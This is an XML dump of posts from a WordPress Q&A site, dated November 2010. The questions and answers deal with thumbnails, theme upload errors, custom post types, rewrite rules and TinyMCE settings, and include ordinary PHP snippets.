  <row Id="4519" PostTypeId="1" CreationDate="2010-11-25T13:37:22.183" Score="1" ViewCount="201" Body="&lt;p&gt;Has anyone ever used varied widths on the thumbnail generator (&lt;a href=&quot;http://wordpress.org/extend/plugins/nextgen-gallery/&quot; rel=&quot;nofollow&quot;&gt;NextGEN Gallery (Wordpress Plugin)&lt;/a&gt;) ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have had the request that I need to display the thumbnails in the same ratio, ie not square - as they are on the orginal image but aspect ratio to a set height (Im sticking all this inside a jcarousel thumbstrip)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't see anything immediately in the settings in the plugin, is there a soloution to this via modifying the PHP etc ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-05T20:52:39.713" LastActivityDate="2011-08-10T04:21:43.800" Title="Nextgen thumbnail size / ratio" Tags="&lt;coding&gt;&lt;plugin-nextgen-gallery&gt;" AnswerCount="1" />
  <row Id="4520" PostTypeId="1" AcceptedAnswerId="4523" CreationDate="2010-11-25T13:55:38.110" Score="1" ViewCount="411" Body="&lt;p&gt;What causes this error (generated while uploading any theme to this WP site)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Unpacking the package…&#xA;&#xA;Incompatible Archive. PCLZIP_ERR_BAD_FORMAT (-10) : &#xA;Unable to find End of Central Dir Record signature&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried to upload several different popular themes to the site.&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2010-11-25T15:00:43.867" Title="Incompatible Archive. PCLZIP_ERR_BAD_FORMAT (-10)" Tags="&lt;themes&gt;" AnswerCount="1" />
  <row Id="4521" PostTypeId="2" ParentId="4518" CreationDate="2010-11-25T13:57:05.893" Score="2" ViewCount="" Body="&lt;p&gt;You can use &lt;code&gt;Appearance &amp;gt; Editor&lt;/code&gt; to kill theme's header in &lt;code&gt;style.css&lt;/code&gt;. Won't really remove it, but will prevent it from showing up as available in WP.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-11-25T13:57:05.893" />
  <row Id="4522" PostTypeId="1" AcceptedAnswerId="4594" CreationDate="2010-11-25T14:29:28.883" Score="0" ViewCount="290" Body="&lt;p&gt;For a plugin, I need to build my own very early post content and comment content filter. Post content/text changing works, i.e. the modifications end up in the client's browser. But my comment content/text modifications somehow are not persistent, i.e. the client receives the original comment text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The point in time I &quot;hook in&quot; is defined by the &lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Action_Reference&quot; rel=&quot;nofollow&quot;&gt;template_redirect&lt;/a&gt; hook. I then execute something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wp_query;&#xA;&#xA;// Iterate over all posts in this query.&#xA;foreach ($wp_query-&amp;gt;posts as $post) {&#xA;    // Edit post text&#xA;    $post-&amp;gt;post_content = &quot;foo&quot;; // works: ends up at the client&#xA;&#xA;    // Iterate over all approved comments belonging to this post&#xA;    $comments = get_approved_comments($post-&amp;gt;ID);&#xA;    foreach ($comments as $comment) {&#xA;        // Edit comment text&#xA;        $comment-&amp;gt;comment_content = &quot;bar&quot;; // this one is lost&#xA;        } &#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As indicated via the source comments above, &lt;code&gt;$post-&amp;gt;post_content = &quot;foo&quot;;&lt;/code&gt; has effect in this context, but &lt;code&gt;$comment-&amp;gt;comment_content = &quot;bar&quot;;&lt;/code&gt; doesn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To track this down at least a bit more, I applied a debug filter to the post content and to the comment content:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('the_content', 'var_dump');&#xA;add_filter('comment_text', 'var_dump');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After the content modification routine above, these filters print &quot;foo&quot; in case of post content, but the comment content is printed unchanged (the original content is printed).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hence, &lt;code&gt;$comment-&amp;gt;comment_content = &quot;bar&quot;;&lt;/code&gt; seems to be a local modification, while &lt;code&gt;$post-&amp;gt;post_content = &quot;foo&quot;;&lt;/code&gt; works as desired: globally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is the database even queried two times for comments so that my modification somehow gets overwritten at some point?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried to work with &lt;code&gt;$wp_query-&amp;gt;comments&lt;/code&gt;, too. But this variable is &lt;code&gt;NULL&lt;/code&gt; at the point in time I want and need to hook in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The final and primary question is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In my loop above, what do I have to do, to modify the comment content persistently?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FYI: I am using WordPress 3.0.1&lt;/p&gt;&#xA;" OwnerUserId="1694" LastEditorUserId="1694" LastEditorDisplayName="" LastEditDate="2010-11-25T14:55:12.077" LastActivityDate="2010-11-27T20:27:37.743" Title="How modify the comment content persistently based on $wp_query?" Tags="&lt;comments&gt;&lt;wp-query&gt;" AnswerCount="2" CommentCount="5" />
  <row Id="4523" PostTypeId="2" ParentId="4520" CreationDate="2010-11-25T15:00:43.867" Score="1" ViewCount="" Body="&lt;p&gt;This error comes from the library that manages ZIP formatted archives: &lt;a href=&quot;http://www.phpconcept.net/pclzip/user-guide/19?showall=1&quot; rel=&quot;nofollow&quot;&gt;http://www.phpconcept.net/pclzip/user-guide/19?showall=1&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After a quick web search, two solutions came up:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Which version of WordPress are you using? For version 2.8 this seems to be a known and fixed issue. Hence, an update of WordPress could help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) You perhaps have to increase your available hosting space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's nothing of this, searching for your error message + WordPress yields many many results!&lt;/p&gt;&#xA;" OwnerUserId="1694" LastActivityDate="2010-11-25T15:00:43.867" CommentCount="1" />
  <row Id="4524" PostTypeId="2" ParentId="4513" CreationDate="2010-11-25T15:07:36.370" Score="1" ViewCount="" Body="&lt;p&gt;It looks like Lester Chan has created a plugin that creates pagination for comments. Take a look at &lt;a href=&quot;http://lesterchan.net/portfolio/programming/php&quot; rel=&quot;nofollow&quot;&gt;WP-CommentNavi 1.10&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lester Chan has created many good plugins.&lt;/p&gt;&#xA;" OwnerUserId="1447" LastActivityDate="2010-11-25T15:07:36.370" CommentCount="1" />
  <row Id="4525" PostTypeId="2" ParentId="4481" CreationDate="2010-11-25T15:15:50.157" Score="0" ViewCount="" Body="&lt;p&gt;So, here is code that make it all work(display archive dropdown list with dates that anything has been added):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    add_filter('getarchives_where','my_archives_filter');&#xA;&#xA;    function my_archives_filter($where_clause='') {&#xA;        return &quot;&quot;;&#xA;    }&#xA;&#xA;&#xA;        &amp;lt;select name=&quot;sdate&quot; id=&quot;sdate&quot;&amp;gt;&#xA;               &amp;lt;?php wp_get_archives('format=option'); ?&amp;gt;&#xA;        &amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks MathSmath!&lt;/p&gt;&#xA;" OwnerUserId="1681" LastActivityDate="2010-11-25T15:15:50.157" />
  <row Id="4526" PostTypeId="2" ParentId="4160" CreationDate="2010-11-25T15:32:16.103" Score="0" ViewCount="" Body="&lt;p&gt;I don't know if this will help you where it looks like you are using a plugin to create custom post types and taxonomies (never had much like with those).  This is what my developer did to get posts from a custom taxonomy to show up on a custom post page when the slugs match. Similar to what you're doing but technically in reverse...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;In Functions.php...&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Create custom post type to custom taxonomy relation&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    global $post_tax;&#xA;    $post_tax = array(&#xA;        'store' =&amp;gt; array('post' =&amp;gt; 'stores', 'tax' =&amp;gt; 'store'),&#xA;        'state' =&amp;gt; array('post' =&amp;gt; 'states', 'tax' =&amp;gt; 'state')&#xA;    );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Register post types&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function post_types_custom_init() {&#xA;&#xA;global $post_tax;&#xA;&#xA;register_post_type($post_tax['store']['post'], array('label' =&amp;gt; 'Stores','public' =&amp;gt; true,'show_ui' =&amp;gt; true,'_builtin' =&amp;gt; false, 'capability_type' =&amp;gt; 'post','hierarchical' =&amp;gt; true,'rewrite' =&amp;gt; array('slug' =&amp;gt; 'stores'),'query_var' =&amp;gt; true,'supports' =&amp;gt; array('title','editor','excerpt','trackbacks','custom-fields','comments','revisions','thumbnail','author','page-attributes')) );&#xA;&#xA;register_post_type($post_tax['state']['post'], array('label' =&amp;gt; 'States','public' =&amp;gt; true,'show_ui' =&amp;gt; true,'_builtin' =&amp;gt; false, 'capability_type' =&amp;gt; 'post','hierarchical' =&amp;gt; true,'rewrite' =&amp;gt; array('slug' =&amp;gt; 'states'),'query_var' =&amp;gt; true,'supports' =&amp;gt; array('title','editor','excerpt','trackbacks','custom-fields','comments','revisions','thumbnail','author','page-attributes')) );&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Hook into the init action and call create_post_type_taxonomies when it fires&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;add_action( 'init', 'create_beer_taxonomies', 0 );&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Create taxonomies for their corresponding post types&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function create_beer_taxonomies() &#xA;{&#xA;&#xA;global $post_tax;&#xA;&#xA;// Add new taxonomy&#xA;  $labels = array(&#xA;    'name' =&amp;gt; _x( 'Stores', 'taxonomy general name' ),&#xA;    'singular_name' =&amp;gt; _x( 'Store', 'taxonomy singular name' ),&#xA;    'search_items' =&amp;gt;  __( 'Search Stores' ),&#xA;    'all_items' =&amp;gt; __( 'All Stores' ),&#xA;    'parent_item' =&amp;gt; __( 'Parent Store' ),&#xA;    'parent_item_colon' =&amp;gt; __( 'Parent Store:' ),&#xA;    'edit_item' =&amp;gt; __( 'Edit Store' ), &#xA;    'update_item' =&amp;gt; __( 'Update Store' ),&#xA;    'add_new_item' =&amp;gt; __( 'Add New Store' ),&#xA;    'new_item_name' =&amp;gt; __( 'New Store Name' ),&#xA;  );    &#xA;&#xA;// Make it hierarchical (like categories) and assign to specific post types&#xA;  register_taxonomy($post_tax['store']['tax'],&#xA;    array('post',$post_tax['review']['post']),&#xA;    array(&#xA;    'hierarchical' =&amp;gt; true,&#xA;    'labels' =&amp;gt; $labels,&#xA;    'show_ui' =&amp;gt; true,&#xA;    'query_var' =&amp;gt; true,&#xA;    'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'stores-bp' ),&#xA;  ));&#xA;&#xA;  $labels = array(&#xA;    'name' =&amp;gt; _x( 'States', 'taxonomy general name' ),&#xA;    'singular_name' =&amp;gt; _x( 'State', 'taxonomy singular name' ),&#xA;    'search_items' =&amp;gt;  __( 'Search States' ),&#xA;    'all_items' =&amp;gt; __( 'All States' ),&#xA;    'parent_item' =&amp;gt; __( 'Parent State' ),&#xA;    'parent_item_colon' =&amp;gt; __( 'Parent State:' ),&#xA;    'edit_item' =&amp;gt; __( 'Edit State' ), &#xA;    'update_item' =&amp;gt; __( 'Update State' ),&#xA;    'add_new_item' =&amp;gt; __( 'Add New State' ),&#xA;    'new_item_name' =&amp;gt; __( 'New State Name' ),&#xA;  );&#xA;&#xA;  register_taxonomy($post_tax['state']['tax'],&#xA;        array('post',$post_tax['beer']['review']),&#xA;    array(&#xA;    'hierarchical' =&amp;gt; true,&#xA;    'labels' =&amp;gt; $labels,&#xA;    'show_ui' =&amp;gt; true,&#xA;    'query_var' =&amp;gt; true,&#xA;    'rewrite' =&amp;gt; array( 'slug' =&amp;gt; 'states-bp' ),&#xA;  ));&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;In Template/Loop&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function meta_loop_beers($queried_tax,$queried_term){&#xA;    //$paged = (get_query_var('paged')) ? get_query_var('paged') : 1;&#xA;&#xA;    $queried_page = get_query_var('paged');&#xA;    $paged = $queried_page ? $queried_page : 1;&#xA;&#xA;    $post_type = '';&#xA;&#xA;    global $post_tax;&#xA;    foreach($post_tax as $relation){&#xA;        if( $relation['tax'] == $queried_tax ){&#xA;            $post_type = $relation['post'];&#xA;            break;&#xA;        }&#xA;&#xA;    }&#xA;&#xA;&#xA;        $args=array(&#xA;          'post_type' =&amp;gt; 'post',&#xA;          $queried_tax =&amp;gt; $queried_term,&#xA;          'post_status' =&amp;gt; 'publish',&#xA;          'posts_per_page' =&amp;gt; -1,&#xA;          'caller_get_posts'=&amp;gt; 1&#xA;        );&#xA;&#xA;        $my_query = null;&#xA;        $my_query = new WP_Query($args);&#xA;&#xA;&amp;lt;PUT LOOP(S) HERE&amp;gt;&#xA;&#xA;        wp_reset_query();&#xA;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I believe* that is everything.  You won't be able to copy-paste that code and get it working for you automatically but it will hopefully give you an idea as to how to get it to work.  This was bleeding edge stuff at the time, completed about 6 months ago and I'm guessing there is a better implementation somewhere.  Unfortunately, the site is still not live so nothing to show at the moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We also had to redirect (htaccess) those slugs for the taxonomies as we wanted those looking for the store (post type) and archive for the stores (taxonomy) to land on the same page where the 'profile page' of the store displayed both.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the end result is that the archive page for domain.com/stores-bp/walmart will redirect to domain.com/stores/walmart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Way too confusing! I can try to clarify where needed.&lt;/p&gt;&#xA;" OwnerUserId="1697" LastActivityDate="2010-11-25T15:32:16.103" />
  <row Id="4527" PostTypeId="2" ParentId="4514" CreationDate="2010-11-25T16:43:11.093" Score="4" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/welcome-email-editor/&quot; rel=&quot;nofollow&quot;&gt;SB Welcome Email Editor&lt;/a&gt; works by replacing &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_new_user_notification&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_new_user_notification()&lt;/code&gt;&lt;/a&gt; with an own version. The original version can be found in &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-includes/pluggable.php#L1184&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp-includes/pluggable.php&lt;/code&gt;&lt;/a&gt;, the plugin uses &lt;a href=&quot;http://plugins.trac.wordpress.org/browser/welcome-email-editor/trunk/sb_welcome_email_editor.php?rev=269474#L57&quot; rel=&quot;nofollow&quot;&gt;an elaborate replacement with all kinds of options&lt;/a&gt;. You can do this to: create a new plugin (just a PHP file in &lt;code&gt;wp-content/plugins/&lt;/code&gt;), and define &lt;code&gt;wp_new_user_notification($user_id, $plaintext_pass = '')&lt;/code&gt; there. This will then be used instead of the regular WordPress version.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-11-25T16:43:11.093" CommentCount="1" />
  <row Id="4528" PostTypeId="1" CreationDate="2010-11-25T16:44:26.777" Score="1" ViewCount="532" Body="&lt;p&gt;I have the following code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            &amp;lt;div id=&quot;pc&quot; class=&quot;smartbar-content&quot;&amp;gt;&#xA;            &amp;lt;ul class=&quot;smartbar-items&quot;&amp;gt;&#xA;            &amp;lt;?php&#xA;            $paged = ( get_query_var('paged') ) ? get_query_var('paged') : 1;&#xA;            query_posts( array(&#xA;                        'cat' =&amp;gt; '6', &#xA;                        'posts_per_page' =&amp;gt; 5,&#xA;                        'meta_key' =&amp;gt; 'krit_karakter',&#xA;                        'orderby'=&amp;gt; 'menu_order',&#xA;                        'order'=&amp;gt; 'DESC',&#xA;                        'caller_get_posts' =&amp;gt; 1, &#xA;                        'paged' =&amp;gt; $paged ) );&#xA;                    if (have_posts()) : while (have_posts()) : the_post(); ?&amp;gt;&#xA;                    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;img src=&quot;&amp;lt;?php bloginfo('url');?&amp;gt;/wp-content/files_mf/&amp;lt;?php get_custom_field('game_poster', TRUE); ?&amp;gt;&quot; width=&quot;80&quot; height=&quot;110&quot; alt=&quot;&amp;lt;?php the_title();?&amp;gt;&quot; /&amp;gt; &amp;lt;/a&amp;gt;&#xA;                    &amp;lt;br /&amp;gt;&amp;lt;?php the_title();?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&#xA;                    &amp;lt;?php endwhile; ?&amp;gt;&#xA;                    &amp;lt;?php else : endif; ?&amp;gt;&#xA;            &amp;lt;/ul&amp;gt;&#xA;            &amp;lt;?php wp_reset_query(); ?&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to show only posts that have at least 5 entries in the custom field 'krit_karakter'. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that possible? &lt;/p&gt;&#xA;" OwnerUserId="1463" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2010-12-06T17:32:48.437" LastActivityDate="2010-12-09T17:27:47.337" Title="Query on custom field count?" Tags="&lt;custom-field&gt;&lt;query-posts&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="4529" PostTypeId="2" ParentId="4498" CreationDate="2010-11-25T18:40:13.817" Score="1" ViewCount="" Body="&lt;h2&gt;With an extra endpoint&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Since you want to add something to the end of every post/page rewrite rule, you probably can just add a &lt;em&gt;rewrite endpoint&lt;/em&gt;. These are regexes of the form &lt;code&gt;/[endpoint_name](/[optional_extra_stuff])?&lt;/code&gt; that are appended to the already generated rules for pages, posts, archives, ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You define on which structures you want to add them by setting the &lt;em&gt;endpoint mask&lt;/em&gt;. This is a bitmask, so you can combine different groups using the &lt;code&gt;|&lt;/code&gt; operator, like this: &lt;code&gt;EP_PERMALINK | EP_PAGES&lt;/code&gt; will match for every page and every permalink (full post and date-based archives). The default list of endpoints can be found &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.2/wp-includes/rewrite.php#L96&quot; rel=&quot;nofollow&quot;&gt;at the top of &lt;code&gt;wp-includes/rewrite.php&lt;/code&gt;.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following code will add &lt;code&gt;/gallery(/(.*))?&lt;/code&gt; to the existing rewrite rules for pages, posts and date-based archives (for some reason they are generated twice, once in &lt;code&gt;EP_PERMALINK&lt;/code&gt; and once in &lt;code&gt;EP_DATE&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'init', 'wpse4498_init' );&#xA;function wpse4498_init()&#xA;{&#xA;    add_rewrite_endpoint( 'gallery', EP_PERMALINK | EP_PAGES );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;With explicit new rewrite rules&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You can also do is explicitly, which might give you more control over the generated rules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rewrite rule itself it quite easy: take the generic post rule &lt;code&gt;(.+?)/([^/]+)&lt;/code&gt; (&lt;code&gt;category/pagename&lt;/code&gt;) and add your gallery structure. NextGEN always adds its query vars, not only when permalinks are enabled, so we can just use the &lt;code&gt;gallery&lt;/code&gt; var:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'(.+?)/([^/]+)/gallery/([0-9]{1,})/?$' =&amp;gt;&#xA;    'index.php?category_name=$matches[1]&amp;amp;name=$matches[2]&amp;amp;gallery=$matches[3]'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The placement of your extra rewrite rule is tricky. Since your permalink structure is &lt;code&gt;/%category%/%postname%/&lt;/code&gt; you have verbose rewrite rules, and can't put a generic &lt;code&gt;(.+?)/([^/]+)&lt;/code&gt; at the top: your pages will stop working. You can't put it at the bottom, as the attachment rules are quite generic and will have matched the URL before it reaches your rule. I think the best place to add it is with the &lt;code&gt;post_rewrite_rules&lt;/code&gt; filter. This will give the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'post_rewrite_rules', 'wpse4498_post_rewrite_rules' );&#xA;function wpse4498_post_rewrite_rules( $post_rewrite_rules )&#xA;{&#xA;    $post_rewrite_rules = array(&#xA;        '(.+?)/([^/]+)/gallery/([0-9]{1,})/?$' =&amp;gt;&#xA;            'index.php?category_name=$matches[1]&amp;amp;name=$matches[2]&amp;amp;gallery=$matches[3]',&#xA;    ) + $post_rewrite_rules;&#xA;    return $post_rewrite_rules;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This only covers posts, if you also want to support pages with galleries it will become much more complicated since you have to add them for each verbose page group.&lt;/p&gt;&#xA;" OwnerUserId="8" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2010-12-07T10:01:55.903" LastActivityDate="2010-12-07T10:01:55.903" />
  <row Id="4530" PostTypeId="2" ParentId="4261" CreationDate="2010-11-25T19:31:13.010" Score="1" ViewCount="" Body="&lt;p&gt;As Kemp said, there is no difference in the database between an image that has been attached, and one that is actually inserted into the content. I would scan the content (on post save, not every time you display it) and set an extra metadata attribute for attached-but-not-displayed images. Remember to check for galleries too: they are inserted with a shortcode, so it's not always just a search for &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tags.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-11-25T19:31:13.010" />
  <row Id="4531" PostTypeId="2" ParentId="4268" CreationDate="2010-11-25T19:41:57.617" Score="1" ViewCount="" Body="&lt;p&gt;These are attachment URLs. They are created for all images in your post. You have a gallery with 17 images, so for each image an URL with the structure &lt;code&gt;[post_url]/[attachment_name]&lt;/code&gt; is created. &lt;a href=&quot;http://paragonhondainfo.com/2010/07/2011-honda-odyssey-official-details-photos-and-specs/&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;/2010/07/2011-honda-odyssey-official-details-photos-and-specs/&lt;/code&gt;&lt;/a&gt; is the post URL, &lt;code&gt;2011_hondy_odyssey-2&lt;/code&gt; is the name of one of the images in it (created based on the file name when you upload it). You can style these pages by modifying the &lt;code&gt;attachment.php&lt;/code&gt; template file.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-11-25T19:41:57.617" />
  <row Id="4532" PostTypeId="2" ParentId="4349" CreationDate="2010-11-25T20:15:48.727" Score="2" ViewCount="" Body="&lt;p&gt;If you always want &lt;code&gt;&amp;lt;br/&amp;gt;&lt;/code&gt; instead of &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; for newlines you can &lt;a href=&quot;http://wiki.moxiecode.com/index.php/TinyMCE%3aFAQ#TinyMCE_produce_P_elements_on_enter.2Freturn_instead_of_BR_elements.3F&quot; rel=&quot;nofollow&quot;&gt;change the TinyMCE configuration&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;forced_root_block: false,&#xA;force_br_newlines: true,&#xA;force_p_newlines : false,&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think you cannot do this based on the context (use &lt;code&gt;&amp;lt;br/&amp;gt;&lt;/code&gt; when in &lt;code&gt;class=&quot;box_note&quot;&lt;/code&gt;, &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; otherwise), but it is an interesting question for &lt;a href=&quot;http://tinymce.moxiecode.com/punbb/&quot; rel=&quot;nofollow&quot;&gt;the TinyMCE forum&lt;/a&gt;. &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Enter&lt;/kbd&gt; is indeed the standard way to differentiate between paragraph and line endings.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-11-25T20:15:48.727" CommentCount="5" />
  <row Id="4534" PostTypeId="2" ParentId="4401" CreationDate="2010-11-25T22:42:29.420" Score="1" ViewCount="" Body="&lt;p&gt;seen your tweet and thought i'd lend a hand, its been a while since i've coded WP - but heres my attempt: &lt;a href=&quot;http://pastebin.com/MZiycrMe&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/MZiycrMe&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how i go about it is, &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;get all top level pages&lt;/li&gt;&#xA;&lt;li&gt;loop around each top level page checking for children&lt;/li&gt;&#xA;&lt;li&gt;add all of the above into a multi dimension array&lt;/li&gt;&#xA;&lt;li&gt;loop over the multi dimension array to build unordered list&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;i was going from the top of my head and the WP docs so there &lt;em&gt;might&lt;/em&gt; be a bug or two, but the logic is sound..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;give me a shout if you want a hand to implement it.. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Justen&lt;/p&gt;&#xA;" LastActivityDate="2010-11-25T22:42:29.420" />
  <row Id="4535" PostTypeId="1" AcceptedAnswerId="4629" CreationDate="2010-11-26T01:21:42.823" Score="1" ViewCount="248" Body="&lt;p&gt;I have a php file with some variables which I would like to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I include it in the header.php the variables in that file are not recognized at footer.php and some other places.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where is the best place to include this file so its content will be shared all over the wp files.&lt;/p&gt;&#xA;" OwnerUserId="1704" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-11-30T11:22:49.470" LastActivityDate="2010-11-30T11:22:49.470" Title="where to include a php file " Tags="&lt;php&gt;&lt;variables&gt;&lt;include&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="4536" PostTypeId="1" AcceptedAnswerId="4545" CreationDate="2010-11-26T01:38:42.993" Score="3" ViewCount="229" Body="&lt;p&gt;&lt;em&gt;(&lt;strong&gt;Moderator's Note:&lt;/strong&gt; Original title was: &quot;Steps to move multiple wordpress installations to a WP MU installation&quot;)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any tips on moving multiple WordPress installations to a single Multisite[1] installation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[1] &lt;em&gt;Multisite is the new name for WPMU.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1705" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-12-19T19:37:47.220" LastActivityDate="2010-12-19T19:37:47.220" Title="Steps for Moving Multiple WordPress Installs to a Multisite Install?" Tags="&lt;multisite&gt;&lt;domain-mapping&gt;" AnswerCount="3" FavoriteCount="2" />
  <row Id="4537" PostTypeId="2" ParentId="4522" CreationDate="2010-11-26T01:59:47.657" Score="1" ViewCount="" Body="&lt;p&gt;Without knowing much more about what you're tyring to accomplish, there are a few possible solutions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One is to continue doing what you're currently doing to, but to also add a filter to 'comment_text' to alter the comment output.  The downside with this is that you're querying the comments multiple times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option is to start an output buffer on 'template_redirect' and print a placeholder on the 'wp_head' hook to mark a spot in the header.  Then use the 'comment_text' and 'the_content' filters to alter the output and check for whatever markers you're looking for.  Then, in the output buffer callback, have it replace that marker you put in the header with whatever css you need to add.  The only issue with this solution is that the buffer size set on the server may not be enough depending on how much content you have in a single page or how small the buffer is.&lt;/p&gt;&#xA;" OwnerUserId="203" LastActivityDate="2010-11-26T01:59:47.657" CommentCount="1" />
